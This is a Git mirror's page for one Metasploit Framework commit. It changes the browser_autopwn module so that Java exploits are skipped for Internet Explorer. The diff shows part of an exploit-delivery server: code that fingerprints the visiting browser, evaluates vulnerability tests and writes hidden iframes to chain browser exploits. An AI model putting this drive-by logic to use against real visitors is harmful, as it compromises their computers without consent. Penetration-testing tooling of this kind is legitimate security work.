infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Disable Java attacks for IE (breaks the chaining) 

git-svn-id: file:///home/svn/framework3/trunk@12632 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2011-05-16 04:21:58 +00:00
parent 71f6f8c583
commit 9c93eda851
1 changed files with 19 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

23
modules/auxiliary/server/browser_autopwn.rb
View File

@ -565,6 +565,12 @@ class Metasploit3 < Msf::Auxiliary
body << "<!--[if IE]>\n" body << "<!--[if IE]>\n"
end end
sploits.map do |s| sploits.map do |s|
# Skip Java modules for IE browsers, since they will stop execution on the first attempt
if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
next if s[:name].index("java")
end
body << (s[:prefix_html] || "") + "\n" body << (s[:prefix_html] || "") + "\n"
body << build_iframe(exploit_resource(s[:name])) + "\n" body << build_iframe(exploit_resource(s[:name])) + "\n"
body << (s[:postfix_html] || "") + "\n" body << (s[:postfix_html] || "") + "\n"
@ -681,10 +687,13 @@ class Metasploit3 < Msf::Auxiliary
} else { } else {
test = "try {" + test + "} catch (e) { is_vuln = false; }; is_vuln"; test = "try {" + test + "} catch (e) { is_vuln = false; }; is_vuln";
} }
//alert("next_exploit(" + (exploit_idx).toString() + ") => " +
// global_exploit_list[exploit_idx].resource + "\\n" + /*
// test + " -- " + eval(test) alert("next_exploit(" + (exploit_idx).toString() + ") => " +
//); global_exploit_list[exploit_idx].resource + "\\n" +
test + " -- " + eval(test) );
*/
if (eval(test)) { if (eval(test)) {
write_iframe(global_exploit_list[exploit_idx].resource); write_iframe(global_exploit_list[exploit_idx].resource);
setTimeout("next_exploit(" + (exploit_idx+1).toString() + ")", 1000); setTimeout("next_exploit(" + (exploit_idx+1).toString() + ")", 1000);
@ -724,6 +733,12 @@ class Metasploit3 < Msf::Auxiliary
func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}" func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}"
js << "function #{func_name}() { \n" js << "function #{func_name}() { \n"
sploits.map do |s| sploits.map do |s|
# Skip Java modules for IE browsers, since they will stop execution on the first attempt
if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
next if s[:name].index("java")
end
# get rid of newlines and escape quotes # get rid of newlines and escape quotes
test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'") test = s[:vuln_test].gsub("\n",'').gsub("'", "\\\\'")
# shouldn't be any in the resource, but just in case... # shouldn't be any in the resource, but just in case...